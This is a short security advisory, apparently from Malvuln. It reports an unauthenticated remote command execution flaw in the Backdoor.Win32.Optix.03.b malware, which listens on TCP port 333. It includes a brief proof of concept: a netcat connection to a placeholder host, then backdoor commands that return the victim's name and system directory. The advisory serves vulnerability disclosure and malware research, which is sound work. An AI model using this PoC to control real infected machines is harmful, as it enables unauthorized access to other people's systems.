Backdoor.Win32.Optix.03.b Code Execution

Backdoor.Win32.Optix.03.b malware suffers from a code execution vulnerability.


MD5 | ec0ad87b811b4af2615050c1516aed8c

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/4cf1f1d740d7acea4d3836228980ebcb.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Optix.03.b
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP port 333. Third-party attackers who can reach the system can execute commands made available by the malware.
Type: PE32
MD5: 4cf1f1d740d7acea4d3836228980ebcb
Vuln ID: MVID-2021-0387
Disclosure: 11/04/2021

Exploit/PoC:
nc64.exe x.x.x.x 333
GetVicName;
GetVicName;paltalk

GetSysDir;
TheSysDir;
;C:\WINDOWS\system32\


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